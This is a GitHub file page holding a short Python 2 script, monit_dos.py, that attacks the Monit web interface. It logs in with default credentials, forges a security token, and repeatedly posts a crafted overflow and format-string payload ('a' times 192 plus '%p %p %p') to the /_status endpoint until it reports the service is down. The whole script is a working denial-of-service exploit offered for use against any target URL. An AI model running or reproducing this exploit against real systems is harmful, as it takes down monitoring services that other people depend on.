Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import requests
import argparse
import base64
import socket
import random
parser = argparse.ArgumentParser(description='Example: ./monit_dos.py http://127.0.0.1:2812 -username admin -password monit')
parser.add_argument('url', type=str, nargs=1,
help='url to target')
parser.add_argument('-username', type=str, nargs=1, default=['admin'],
help='monit username, defaults to admin')
parser.add_argument('-password', type=str, nargs=1, default=['monit'],
help='monit password, defaults to monit')
args = parser.parse_args()
auth_header = 'Basic ' + base64.b64encode(args.username[0] + ':' + args.password[0])
headers = {'Authorization': auth_header, 'Cookie': 'securitytoken=a'}
data = ('action=exec&service=' + 'a' * 192 + '%p %p %p&securitytoken=a')
while True:
try:
print("[*] Sending request")
r = requests.post(args.url[0] + '/_status', headers=headers,data=data)
except requests.exceptions.RequestException as e:
if "Connection refused" in str(e.message):
print("[*] Service is down")
else:
print e
exit(1)